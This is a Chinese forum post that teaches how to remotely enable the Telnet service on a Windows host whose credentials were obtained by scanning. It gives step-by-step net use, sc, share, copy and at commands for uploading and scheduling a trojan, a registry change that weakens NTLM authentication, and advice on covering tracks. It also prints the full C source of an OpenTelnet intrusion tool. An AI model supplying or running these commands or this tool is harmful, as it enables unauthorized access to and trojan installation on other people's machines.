- 论坛徽章:
- 0
|
也许,你刚开始的时候跟我可能有同样的困惑,就是扫描到了一台主机的主机和密码,却苦于无法开启远程telnet服务而无法登录。。<br />现在我介绍一下怎样开启远程telnet服务。。<br />如何远程打开telnet服务?首先,你必须拿到你所要登录的主机用户名和密码,有了这2样就好办了,嘿嘿。。。<br /> <br /> --0、侦测远程机器口令,假如我获得用户名是administrator,密码是空的。。<br /> <br /> --1、netuse命令建立IPC连接<br /> net use [url=file://\\IP]\\IP[/url] password /user<img src="http://bbs.chinaitlab.com/images/smilies/mogutou/thumb_04sc23752.gif" smilieid="37" border="0" alt="" />dministrator<br /> <br /> --用sc命令把禁用的telnet服务变成自动 <br /> sc [url=file://\\IP]\\IP[/url] config tlntsvr start= auto <br /> <br /> --2、用sc命令将telnet启动 <br /> sc [url=file://\\IP]\\IP[/url] start tlntsvr<br /> <br /> --3、net share 建立c$共享 <br /> net share sharename=drive:path<br /> <br /> --4、copy命令上传木马 <br /> copy a.bat [url=file://\\192.168.0.1\c$]\\192.168.0.1\c$[/url]<br /> <br /> --5、at命令定时执行<br /> at [url=file://\\192.168.0.1]\\192.168.0.1[/url] time cmd <br />注意:如果对方采用了NTLM认证策略,可以连接网络注册表修改HKEYLOCAL\ MACHINE\SOFTWARE\MICROSOFT\TELNETSERVER\1.0下的NTLM键值由2改为0。<br />然后重新启动telnet服务。<br /> --6、用sc命令将telnet关闭 ,吃完鸡,别忘了把嘴上油给擦干净哦,被抓到了就不好了。。<br /> sc [url=file://\\IP]\\IP[/url] stop tlntsvr<br /> --7、用sc命令将telnet启动 <br /> sc [url=file://\\IP]\\IP[/url] start tlntsvr<br />以上只是用命令来实现的,其实也有一种更简单的方法,现在网上有人编写一个叫opentelnet的程序,初学者可以试试,挺方便的,不过貌似没什么技术含量,不过瘾。。。<br />下面我们来个更过瘾的,自己来编一个开启远程telnet服务的程序,O(∩_∩)O哈哈~。。<br />准备好编译器VC++ 6.0 ,如果你连这个都没的话,你就不要说你在IT界混了,编写一个C++ 程序。。。<br /><blockquote>//////////////////////////////////////////////////////////////////////////////// <br />// <br />// Telnet Remote Configure And Wake Up <br />// <br />//////////////////////////////////////////////////////////////////////////////// <br />#include <stdio.h> <br />#include <assert.h> <br />#include <windows.h> <br />#include <Winnetwk.h> <br />#include <Winreg.h> <br />#include <Shlwapi.h> <br />#pragma comment(lib, "Advapi32.lib" <br />#pragma comment(lib, "Mpr.lib" <br />SC_HANDLE g_schSCManager; <br />HKEY g_hKey; <br />DWORD g_DefaultTelnetStartType; <br />DWORD g_DefaultRegistryStartType; <br />LPBYTE g_lpDefaultTelnetNTLM; <br />LPBYTE g_lpDefaultTelnetPort; <br />void Usage(char*); <br />int RestartTelnet(); <br />int StartRemoteRegistry(); <br />int MyStartService(SC_HANDLE, char*); <br /><br />int main(int argc, char* argv[]) <br />{ <br />int nRetCode; <br />char szIpc[50] = ""; <br />HKEY hKey; <br />LPSTR lpUserName, lpPassword; <br />NETRESOURCE NET; <br />DWORD dwNTLM, dwTelnetPort; <br />Usage(argv[0]); <br />if (argc < 5) <br />return 0; <br />sprintf (szIpc, "%s\\ipc$", argv[1]); <br />lpUserName = argv[2]; <br />lpPassword = argv[3]; <br />NET.lpLocalName = NULL; <br />NET.lpRemoteName = szIpc; <br />NET.dwType = RESOURCETYPE_ANY; <br />NET.lpProvider = NULL; <br />printf ("Connecting %s...",argv[1]); <br />ReConnect: <br />nRetCode = WNetCancelConnection2(szIpc, CONNECT_UPDATE_PROFILE, TRUE); <br />if (nRetCode == NO_ERROR) <br />printf ("Canncel Successfully!\n" ; <br />nRetCode = WNetAddConnection2(&NET, lpPassword, lpUserName, CONNECT_INTERACTIVE); <br />if (nRetCode == ERROR_ALREADY_ASSIGNED || nRetCode == ERROR_DEVICE_ALREADY_REMEMBERED) <br />{ <br />printf ("Already conneted to the server!\n" ; <br />printf ("Now re-connecting the server...\n" ; <br />goto ReConnect; <br />} <br />else if (nRetCode == NO_ERROR) <br />printf ("Successfully!\n" ; <br />else <br />{ <br />printf ("\n\tErr:" ; <br />switch (nRetCode) <br />{ <br />case ERROR_ALREADY_ASSIGNED: <br /><br />case ERROR_ACCESS_DENIED: <br />printf ("ERROR_ACCESS_DENIED\n" ; <br />break; <br />case ERROR_BAD_NET_NAME: <br />printf ("ERROR_BAD_NET_NAME\n" ; <br />break; <br />default: <br />printf ("CONNECT ERR:%d!\n",GetLastError()); <br />break; <br />} <br />return 0; <br />} <br />//open SCManager <br />g_schSCManager = OpenSCManager(argv[1], NULL, SC_MANAGER_ALL_ACCESS); <br />if (g_schSCManager == NULL) <br />{ <br />printf ("Open SCManager failed!\n" ; <br />return 0; <br />} <br />//check remote registry service is running <br />if (!StartRemoteRegistry()) <br />{ <br />printf ("All Process Failed!\n"); <br />return 0; <br />} <br />//open the registry <br />if (!(RegConnectRegistry((LPCTSTR) argv[1], HKEY_LOCAL_MACHINE, &g_hKey) == ERROR_SUCCESS)) <br />{ <br />printf ("Connect remote registry failed!\n"); <br />return 0; <br />} <br />if (!(RegOpenKeyEx(g_hKey, "SOFTWARE\\Microsoft\\TelnetServer\\1.0", 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)) <br />{ <br />printf ("Open key failed!\n"); <br />return 0; <br />} <br />//read the registry for default config <br />g_lpDefaultTelnetNTLM = (LPBYTE) LocalAlloc(LPTR, 50); <br />g_lpDefaultTelnetPort = (LPBYTE) LocalAlloc(LPTR, 50); <br />DWORD dwDataSize = 50; <br />if (!(RegQueryValueEx(hKey, "NTLM", NULL, NULL, g_lpDefaultTelnetNTLM, &dwDataSize) == ERROR_SUCCESS)) <br />{ <br />printf ("Read NTLM failed!\n "); <br />return 0; <br />} <br />if (!(RegQueryValueEx(hKey, "TelnetPort", NULL, NULL, g_lpDefaultTelnetPort, &dwDataSize) == ERROR_SUCCESS)) <br />{ <br />printf ("Read port failed!\n "); <br />return 0; <br />} <br />//edit the registry <br />dwNTLM = atoi(argv[4]); <br />if (dwNTLM >= 3) <br />{ <br />dwNTLM = 1; <br />} <br />dwTelnetPort = atoi(argv[5]); <br />if (!(RegSetValueEx(hKey, "NTLM", 0, REG_DWORD, (LPBYTE) &dwNTLM, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf ("Set NTLM value failed!"); <br />return 0; <br />} <br />RegSetValueEx(hKey, "TelnetPort", 0, REG_DWORD, (LPBYTE) &dwTelnetPort, sizeof(DWORD)); <br />//restart telnet service <br />nRetCode = RestartTelnet(); <br />if (nRetCode) <br />{ <br />printf ("\nBINGLE!!!Yeah!!\n"); <br />printf ("Telnet Port is %d. You can try:\"telnet ip %d\", to connect the server!", dwTelnetPort, dwTelnetPort); <br />} <br />//remain the default setting <br />if (!(RegSetValueEx(hKey, "default_NTLM", 0, REG_DWORD, g_lpDefaultTelnetNTLM, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf ("Set defaultNTLM value failed!"); <br />return 0; <br />} <br />if (!(RegSetValueEx(hKey, "default_Port", 0, REG_DWORD, g_lpDefaultTelnetPort, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf ("Set defaultPort value failed!"); <br />return 0; <br />} <br />if (!(RegSetValueEx(hKey, "default_TelnetStart", 0, REG_DWORD, (LPBYTE) &g_DefaultTelnetStartType, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf ("Set defaulttelnetstart value failed!"); <br />return 0; <br />} <br />if (!(RegSetValueEx(hKey, "default_RegistryStart", 0, REG_DWORD, (LPBYTE) &g_DefaultRegistryStartType, sizeof(DWORD)) == ERROR_SUCCESS)) <br />{ <br />printf ("Set defaultregistrystart value failed!"); <br />return 0; <br />} <br />RegCloseKey(hKey); <br />RegCloseKey(g_hKey); <br />//close SCManager <br />CloseServiceHandle(g_schSCManager); <br />//close the session with remote server <br />printf ("\nDisconnecting server..."); <br />nRetCode = WNetCancelConnection2(argv[1], CONNECT_UPDATE_PROFILE, TRUE); <br />if (nRetCode == NO_ERROR) <br />printf ("Successfully!\n"); <br />else <br />printf ("Failed!\n"); <br />return 0; <br />} <br />void Usage(char* pcAppName) <br />{ <br />printf ("*******************************************************\n"); <br />printf ("Remote Telnet Configure, by refdom\n"); <br />printf ("Email: refdom@263.net\n"); <br />printf ("%s\n\n", pcAppName); <br />printf ("Usage:OpenTelnet.exe [url=]\\\\server[/url] username password NTLMAuthor telnetport\n"); <br />printf ("*******************************************************\n"); <br />return; <br />} <br />int RestartTelnet() <br />{ <br />DWORD dwWaitTime; <br />DWORD dwConfigSize; <br />SC_HANDLE schTelnetService; <br />SERVICE_STATUS ssTelnetStatus; <br />LPQUERY_SERVICE_CONFIG lpTelnetConfig; <br />printf ("\nNOTICE!!!!!!\n"); <br />printf ("The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23\n\n"); <br />//stop the telnet service <br />schTelnetService = OpenService(g_schSCManager, "TlntSvr", SERVICE_ALL_ACCESS); <br />if (schTelnetService == NULL) <br />{ <br />printf ("Open service failed!\n"); <br />return 0; <br />} <br />lpTelnetConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024); <br />if (lpTelnetConfig == NULL) <br />{ <br />printf ("Alloc memory failed!\n"); <br />return 0; <br />} <br />if (!QueryServiceConfig(schTelnetService, lpTelnetConfig, 1024, &dwConfigSize)) <br />{ <br />printf ("Query service congfig failed!\n"); <br />return 0; <br />} <br />//remain the fault start ytpe of telnet service <br />g_DefaultTelnetStartType = lpTelnetConfig->dwStartType; <br />//change the start type of the telnet service <br />if (lpTelnetConfig->dwStartType == SERVICE_DISABLED) <br />{ <br />if (!ChangeServiceConfig(schTelnetService, <br />SERVICE_NO_CHANGE, <br />SERVICE_DEMAND_START, <br />SERVICE_NO_CHANGE, <br />NULL, NULL, NULL, NULL, NULL, NULL, NULL)) <br />{ <br />printf ("Change service config failed!\n"); <br />return 0; <br />} <br />} <br />if (!(QueryServiceStatus(schTelnetService, &ssTelnetStatus))) <br />{ <br />printf ("Query service status failed!\n"); <br />return 0; <br />} <br />if (ssTelnetStatus.dwCurrentState != SERVICE_STOPPED && ssTelnetStatus.dwCurrentState != SERVICE_STOP_PENDING) <br />{ <br />printf ("Stopping telnet service ...\n"); <br />if (!(ControlService(schTelnetService, SERVICE_CONTROL_STOP, &ssTelnetStatus))) <br />{ <br />printf ("Control telnet service status failed!\n"); <br />return 0; <br />} <br />dwWaitTime = ssTelnetStatus.dwWaitHint / 10; <br />if( dwWaitTime < 1000 ) <br />dwWaitTime = 1000; <br />else if ( dwWaitTime > 10000 ) <br />dwWaitTime = 10000; <br />Sleep(dwWaitTime); <br />if (!QueryServiceStatus(schTelnetService, &ssTelnetStatus)) <br />{ <br />printf ("Query service status failed!\n"); <br />} <br />if ( ssTelnetStatus.dwCurrentState == SERVICE_STOPPED || ssTelnetStatus.dwCurrentState == SERVICE_STOP_PENDING) <br />{ <br />printf ("Telnet service is stopped successfully!\n"); <br />} <br />else <br />{ <br />printf ("Stopping telnet service failed!\n"); <br />return 0; <br />} <br />} <br />//start the telnet service <br />if (!MyStartService(schTelnetService, "telnet")) <br />return 0; <br />CloseServiceHandle(schTelnetService); <br />return 1; <br />} <br />int StartRemoteRegistry() <br />{ <br />SC_HANDLE schRegistryService; <br />SERVICE_STATUS ssRegistryStatus; <br />LPQUERY_SERVICE_CONFIG lpRegistryConfig; <br />DWORD dwConfigSize; <br />lpRegistryConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024); <br />if (lpRegistryConfig == NULL) <br />{ <br />printf ("Alloc memory failed!\n"); <br />return 0; <br />} <br />schRegistryService = OpenService( g_schSCManager, "RemoteRegistry", SERVICE_ALL_ACCESS); <br />if (schRegistryService == NULL) <br />{ <br />printf ("Open remote registry service failed!\n"); <br />return 0; <br />} <br />if (!QueryServiceConfig(schRegistryService, lpRegistryConfig, 1024, &dwConfigSize)) <br />{ <br />printf ("Query registry service config failed!\n"); <br />return 0; <br />} <br />g_DefaultRegistryStartType = lpRegistryConfig->dwStartType; <br />if (g_DefaultRegistryStartType == SERVICE_DISABLED) <br />{ <br />if (!ChangeServiceConfig(schRegistryService, <br />SERVICE_NO_CHANGE, <br />SERVICE_DEMAND_START, <br />SERVICE_NO_CHANGE, <br />NULL, NULL, NULL, NULL, NULL, NULL,NULL)) <br />{ <br />printf ("Change registry service config failed!\n"); <br />return 0; <br />} <br />} <br />if (!QueryServiceStatus(schRegistryService, &ssRegistryStatus)) <br />{ <br />printf ("Query remote registry service failed!\n"); <br />return 0; <br />} <br />if (ssRegistryStatus.dwCurrentState != SERVICE_RUNNING) <br />{ <br />if (!MyStartService(schRegistryService, "remote registry")) <br />return 0; <br />} <br />CloseServiceHandle(schRegistryService); <br />return 1; <br />} <br />int MyStartService(SC_HANDLE schService, char* szServiceName) <br />{ <br />DWORD dwWaitTime; <br />DWORD dwOldCheckPoint; <br />DWORD dwStartTickCount; <br />SERVICE_STATUS ssStatus; <br />printf ("Starting %s service...\n", szServiceName); <br />if (!(StartService(schService, 0, NULL))) <br />{ <br />printf ("Starting %s service failed!\n", szServiceName); <br />return 0; <br />} <br />if (!(QueryServiceStatus(schService, &ssStatus))) <br />{ <br />printf ("Query %s service status failed!\n",szServiceName); <br />// return ; <br />} <br />dwStartTickCount = GetTickCount(); <br />dwOldCheckPoint = ssStatus.dwCheckPoint; <br />while ( ssStatus.dwCurrentState == SERVICE_START_PENDING) <br />{ <br />dwWaitTime = ssStatus.dwWaitHint / 10; <br />if( dwWaitTime < 1000 ) <br />dwWaitTime = 1000; <br />else if ( dwWaitTime > 10000 ) <br />dwWaitTime = 10000; <br />Sleep(dwWaitTime); <br />// Check the status again. <br />if (!QueryServiceStatus(schService, &ssStatus)) <br />break; <br />if ( ssStatus.dwCheckPoint > dwOldCheckPoint ) <br />{ <br />// The service is making progress. <br />dwStartTickCount = GetTickCount(); <br />dwOldCheckPoint = ssStatus.dwCheckPoint; <br />} <br />else <br />{ <br />if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint) <br />{ <br />// No progress made within the wait hint <br />break; <br />} <br />} <br />} <br />if ( ssStatus.dwCurrentState == SERVICE_RUNNING ) <br />{ <br />printf ("%s service is started successfully! %s service is running!\n", szServiceName, szServiceName); <br />} <br />else <br />{ <br />printf ("%s service is not started!\n", szServiceName); <br />return 0; <br />} <br />return 1; <br />} </blockquote> |
|